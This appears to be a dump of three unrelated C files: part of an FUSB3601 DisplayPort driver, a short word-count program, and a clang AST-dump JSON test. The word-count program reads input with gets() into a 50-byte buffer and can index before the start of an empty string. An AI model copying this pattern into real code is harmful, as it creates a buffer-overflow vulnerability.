FUSB3601_configDp(port, en, stat);
FUSB3601_configAutoDpModeEntry(port, ame_en, m, v);
}
void FUSB3601_ReadDpControls(struct Port *port, FSC_U8* data)
{
IN_FUNCTION
*data++ = (FSC_U8)(port->display_port_data_.DpEnabled);
*data++ = (FSC_U8)(port->display_port_data_.DpStatus.word);
*data++ = (FSC_U8)((port->display_port_data_.DpStatus.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpStatus.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpStatus.word >> 24) & 0xFF);
*data++ = (FSC_U8)(port->display_port_data_.DpAutoModeEntryEnabled);
*data++ = (FSC_U8)(port->display_port_data_.DpModeEntryMask.word);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryMask.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryMask.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryMask.word >> 24) & 0xFF);
*data++ = (FSC_U8)(port->display_port_data_.DpModeEntryValue.word);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryValue.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryValue.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpModeEntryValue.word >> 24) & 0xFF);
}
void FUSB3601_ReadDpStatus(struct Port *port, FSC_U8* data)
{
IN_FUNCTION
*data++ = (FSC_U8)(port->display_port_data_.DpConfig.word);
*data++ = (FSC_U8)((port->display_port_data_.DpConfig.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpConfig.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpConfig.word >> 24) & 0xFF);
*data++ = (FSC_U8)(port->display_port_data_.DpPpStatus.word);
*data++ = (FSC_U8)((port->display_port_data_.DpPpStatus.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpPpStatus.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpPpStatus.word >> 24) & 0xFF);
*data++ = (FSC_U8)(port->display_port_data_.DpPpConfig.word);
*data++ = (FSC_U8)((port->display_port_data_.DpPpConfig.word >> 8) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpPpConfig.word >> 16) & 0xFF);
*data++ = (FSC_U8)((port->display_port_data_.DpPpConfig.word >> 24) & 0xFF);
}
void FUSB3601_resetDp(struct Port *port)
{
IN_FUNCTION
port->display_port_data_.DpStatus.word = 0x0;
port->display_port_data_.DpStatus.Connection = DP_CONN_DFP_D;
port->display_port_data_.DpConfig.word = 0x0;
port->display_port_data_.DpPpStatus.word = 0x0;
port->display_port_data_.DpPpRequestedConfig.word = 0x0;
port->display_port_data_.DpPpConfig.word = 0x0;
port->display_port_data_.DpModeEntered = 0x0;
}
FSC_BOOL FUSB3601_processDpCommand(struct Port *port, FSC_U32* arr_in)
{
doDataObject_t svdmh_in = {0};
DisplayPortStatus_t stat;
DisplayPortConfig_t config;
IN_FUNCTION
if (port->display_port_data_.DpEnabled == FALSE) return TRUE;
svdmh_in.object = arr_in[0];
switch (svdmh_in.SVDM.Command) {
case DP_COMMAND_STATUS:
if (svdmh_in.SVDM.CommandType == INITIATOR) {
if (port->display_port_data_.DpModeEntered == FALSE) return TRUE;
stat.word = arr_in[1];
FUSB3601_informStatus(port, stat);
FUSB3601_updateStatusData(port); /* get updated info from system */
FUSB3601_sendStatusData(port, svdmh_in); /* send it out */
}
else {
stat.word = arr_in[1];
FUSB3601_informStatus(port, stat);
if(port->auto_vdm_state_ == AUTO_VDM_DP_GET_STATUS) {
port->auto_vdm_state_ = AUTO_VDM_DP_SET_CONFIG;
FUSB3601_requestDpConfig(port);
}
}
break;
case DP_COMMAND_CONFIG:
if (svdmh_in.SVDM.CommandType == INITIATOR) {
if (port->display_port_data_.DpModeEntered == FALSE) return TRUE;
config.word = arr_in[1];
if (FUSB3601_DpReconfigure(port, config) == TRUE) {
/* if pin reconfig is successful */
FUSB3601_replyToConfig(port, svdmh_in, TRUE);
}
else {
/* if pin reconfig is NOT successful */
FUSB3601_replyToConfig(port, svdmh_in, FALSE);
}
}
else {
FUSB3601_platform_log(port->port_id_, "FUSB Config Response", -1);
if (svdmh_in.SVDM.CommandType == RESPONDER_ACK) {
FUSB3601_informConfigResult(port, TRUE);
}
else {
FUSB3601_informConfigResult(port, FALSE);
}
if(port->auto_vdm_state_ == AUTO_VDM_DP_SET_CONFIG) {
port->auto_vdm_state_ = AUTO_VDM_DONE;
}
}
break;
default:
/* command not recognized */
return TRUE;
break;
}
return FALSE;
}
FSC_BOOL FUSB3601_dpEvaluateModeEntry(struct Port *port, FSC_U32 mode_in)
{
DisplayPortCaps_t field_mask = {0};
DisplayPortCaps_t temp = {0};
IN_FUNCTION
if (port->display_port_data_.DpEnabled == FALSE) return FALSE;
if (port->display_port_data_.DpAutoModeEntryEnabled == FALSE) return FALSE;
port->display_port_data_.DpCaps.word = mode_in;
/* Mask works on fields at a time, so fix that here for incomplete values */
/* Field must be set to all 0s in order to be unmasked */
/* TODO - Magic numbers! */
field_mask.word = port->display_port_data_.DpModeEntryMask.word;
if (field_mask.field0) field_mask.field0 = 0x3;
if (field_mask.field1) field_mask.field1 = 0x3;
if (field_mask.field2) field_mask.field2 = 0x1;
if (field_mask.field3) field_mask.field3 = 0x1;
if (field_mask.field4) field_mask.field4 = 0x3F;
if (field_mask.field5) field_mask.field5 = 0x1F;
field_mask.fieldrsvd0 = 0x3;
field_mask.fieldrsvd1 = 0x3;
field_mask.fieldrsvd2 = 0x7FF;
/* For unmasked fields, at least one bit must match */
temp.word = mode_in & port->display_port_data_.DpModeEntryValue.word;
/* Then, forget about the masked fields */
temp.word = temp.word | field_mask.word;
/* At this point, if every field is non-zero, enter the mode */
if ((temp.field0 != 0) && (temp.field1 != 0) && (temp.field2 != 0)
&& (temp.field3 != 0) && (temp.field4 != 0) && (temp.field5 != 0)) {
return TRUE;
}
else {
return FALSE;
}
}
/* Internal helper functions */
void FUSB3601_configDp(struct Port *port, FSC_BOOL enabled, FSC_U32 status)
{
IN_FUNCTION
port->display_port_data_.DpEnabled = enabled;
port->display_port_data_.DpStatus.word = status;
}
void FUSB3601_configAutoDpModeEntry(struct Port *port, FSC_BOOL enabled,
FSC_U32 mask, FSC_U32 value)
{
IN_FUNCTION
port->display_port_data_.DpAutoModeEntryEnabled = enabled;
port->display_port_data_.DpModeEntryMask.word = mask;
port->display_port_data_.DpModeEntryValue.word = value;
}
void FUSB3601_sendStatusData(struct Port *port, doDataObject_t svdmh_in)
{
doDataObject_t svdmh_out = {0};
FSC_U32 length_out = 0;
FSC_U32 arr_out[2] = {0};
doDataObject_t temp[2] = {{0}};
IN_FUNCTION
port->display_port_data_.DpStatus.Enabled = 1;
/* Reflect most fields */
svdmh_out.object = svdmh_in.object;
svdmh_out.SVDM.Version = STRUCTURED_VDM_VERSION;
svdmh_out.SVDM.CommandType = RESPONDER_ACK;
arr_out[0] = svdmh_out.object;
length_out++;
arr_out[1] = port->display_port_data_.DpStatus.word;
length_out++;
temp[0].object = arr_out[0];
temp[1].object = arr_out[1];
//SendVdmMessage(port, SOP_TYPE_SOP, arr_out, length_out,
// port->policy_state_);
FUSB3601_ProtocolSendData(port, DMTVendorDefined, length_out, temp, 0, peSinkSendSoftReset, FALSE, SOP_TYPE_SOP);
}
void FUSB3601_replyToConfig(struct Port *port, doDataObject_t svdmh_in,
FSC_BOOL success)
{
doDataObject_t svdmh_out = {0};
FSC_U32 length_out = 0;
FSC_U32 arr_out[2] = {0};
doDataObject_t temp[2] = {{0}};
IN_FUNCTION
/* Reflect most fields */
svdmh_out.object = svdmh_in.object;
svdmh_out.SVDM.Version = STRUCTURED_VDM_VERSION;
svdmh_out.SVDM.CommandType = success == TRUE ? RESPONDER_ACK : RESPONDER_NAK;
arr_out[0] = svdmh_out.object;
length_out++;
temp[0].object = arr_out[0];
// SendVdmMessage(port, SOP_TYPE_SOP, arr_out, length_out,
// port->policy_state_);
FUSB3601_ProtocolSendData(port, DMTVendorDefined, length_out, temp, 0, peSinkSendSoftReset, FALSE, SOP_TYPE_SOP);
}
void FUSB3601_informStatus(struct Port *port, DisplayPortStatus_t stat)
{
/*
* TODO: 'system' should implement this
* This function should be called to inform the 'system' of the DP status of
* the port partner.
*/
#ifdef CONFIG_CONTEXTHUB_PD
struct pd_dpm_combphy_event event;
#endif
int ret =0;
port->display_port_data_.DpPpStatus.word = stat.word;
IN_FUNCTION
#ifdef CONFIG_CONTEXTHUB_PD
if(port->display_port_data_.DpPpConfig.word != 0) {
event.dev_type = TCA_DP_IN;
event.irq_type = TCA_IRQ_HPD_IN;
event.mode_type = g_mux_type;
event.typec_orien = port->registers_.TcpcCtrl.ORIENT;
pr_info("\n %s + state = %d,irq = %d\n",__func__,stat.HpdState,stat.IrqHpd);
if(!stat.HpdState) {
event.dev_type = TCA_DP_OUT;
event.irq_type = TCA_IRQ_HPD_OUT;
ret = pd_dpm_handle_combphy_event(event);
pd_dpm_set_last_hpd_status(false);
}
else {
event.dev_type = TCA_DP_IN;
ret = pd_dpm_handle_combphy_event(event);
pd_dpm_send_event(DP_CABLE_IN_EVENT);
pd_dpm_set_last_hpd_status(true);
}
if(stat.IrqHpd) {
event.irq_type = TCA_IRQ_SHORT;
ret = pd_dpm_handle_combphy_event(event);
}
pr_info("\n %s - ret = %d\n",__func__,ret);
}
#endif
pr_info("\n %s %d\n",__func__,__LINE__);
}
void FUSB3601_updateStatusData(struct Port *port)
{
/*
* TODO: 'system' should implement this
* Called to get an update of our status - to be sent to the port partner
*/
}
void FUSB3601_informConfigResult(struct Port *port, FSC_BOOL success)
{
/*
* TODO: 'system' should implement this
* Called when a config message is either ACKd or NAKd by the other side
*/
#ifdef CONFIG_CONTEXTHUB_PD
FSC_U8 fsc_polarity = 0;
FSC_U32 pin_assignment = 0;
enum aux_switch_channel_type channel_type= get_aux_switch_channel();
int ret = 0;
struct pd_dpm_combphy_event event;
#endif
IN_FUNCTION
if (success == TRUE) {
port->display_port_data_.DpPpConfig.word =
port->display_port_data_.DpPpRequestedConfig.word;
pr_info("\n %s,%d\n",__func__,__LINE__);
#ifdef CONFIG_CONTEXTHUB_PD
fsc_polarity = port->registers_.TcpcCtrl.ORIENT;
dp_aux_switch_op(fsc_polarity);
dp_aux_uart_switch_enable();
if (channel_type == CHANNEL_SUPERSWITCH) {
if(!fsc_polarity) {
FUSB3601_set_sbu_switch(port, Sbu_Close_Aux);
} else {
FUSB3601_set_sbu_switch(port, Sbu_Cross_Close_Aux);
}
} else {
FUSB3601_set_sbu_switch(port, Sbu_None);
}
switch(port->display_port_data_.DpPpRequestedConfig.Conf) {
case DP_CONF_UFP_D:
pin_assignment = port->display_port_data_.DpPpRequestedConfig.DfpPa & 0xff;
break;
case DP_CONF_DFP_D:
pin_assignment = port->display_port_data_.DpPpRequestedConfig.UfpPa & 0xff;
break;
}
if(MODE_DP_PIN_C == pin_assignment || MODE_DP_PIN_E == pin_assignment) {
hwlog_info("%s %d\n", __func__,__LINE__);
g_mux_type = TCPC_DP;
}
else if(MODE_DP_PIN_D == pin_assignment || MODE_DP_PIN_F == pin_assignment) {
hwlog_info("%s %d\n", __func__,__LINE__);
g_mux_type = TCPC_USB31_AND_DP_2LINE;
}
event.dev_type = TCA_ID_RISE_EVENT;
event.irq_type = TCA_IRQ_HPD_OUT;
event.mode_type = TCPC_NC;
event.typec_orien = port->registers_.TcpcCtrl.ORIENT;
ret = pd_dpm_handle_combphy_event(event);
pd_dpm_set_combphy_status(g_mux_type);
event.dev_type = TCA_ID_FALL_EVENT;
event.irq_type = TCA_IRQ_HPD_IN;
event.mode_type = g_mux_type;
event.typec_orien = port->registers_.TcpcCtrl.ORIENT;
ret = pd_dpm_handle_combphy_event(event);
if(port->display_port_data_.DpPpStatus.HpdState) {
FUSB3601_informStatus(port, port->display_port_data_.DpPpStatus);
}
pr_info("\n huawei_pd %s pd_event_notify ret = %d,mux_type = %d\n",__func__,ret,g_mux_type);
#endif
}
}
FSC_BOOL FUSB3601_DpReconfigure(struct Port *port, DisplayPortConfig_t config) {
/*
* TODO: 'system' should implement this
* Called with a DisplayPort configuration to do!
* Return TRUE if/when successful, FALSE otherwise
*/
IN_FUNCTION
port->display_port_data_.DpConfig.word = config.word;
/* Must actually change configurations here before returning TRUE */
return TRUE;
}
#endif /* FSC_HAVE_DP */
|
the_stack_data/232955575.c
|
#include <stdio.h>
#include <string.h>
int wcount( char *s)
{
int i,n,k=0;
n=strnlen(s,1000);
for (i=1; i<n; i++)
if ((s[i] == ' ') && (s[i-1] != ' ')) k++;
if (s[n-1] != ' ') k++;
return k;
}
int main()
{
char s[50];
gets(s);
printf("%d", wcount(s));
return 0;
}
|
the_stack_data/847949.c
|
// RUN: %clang_cc1 -triple x86_64-linux-gnu -fsyntax-only -ast-dump=json %s | FileCheck %s
unsigned char implicitcast_0(unsigned int x) {
return x;
}
signed char implicitcast_1(unsigned int x) {
return x;
}
unsigned char implicitcast_2(signed int x) {
return x;
}
signed char implicitcast_3(signed int x) {
return x;
}
//----------------------------------------------------------------------------//
unsigned char cstylecast_0(unsigned int x) {
return (unsigned char)x;
}
signed char cstylecast_1(unsigned int x) {
return (signed char)x;
}
unsigned char cstylecast_2(signed int x) {
return (unsigned char)x;
}
signed char cstylecast_3(signed int x) {
return (signed char)x;
}
// NOTE: CHECK lines have been autogenerated by gen_ast_dump_json_test.py
// using --filters=ImplicitCastExpr,CStyleCastExpr
// CHECK: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 4
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "signed char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 8
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 12
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "signed char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 16
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "CStyleCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "isPartOfExplicitCast": true,
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 22
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "CStyleCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "signed char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "isPartOfExplicitCast": true,
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 26
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "CStyleCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "unsigned char"
// CHECK-NEXT: },
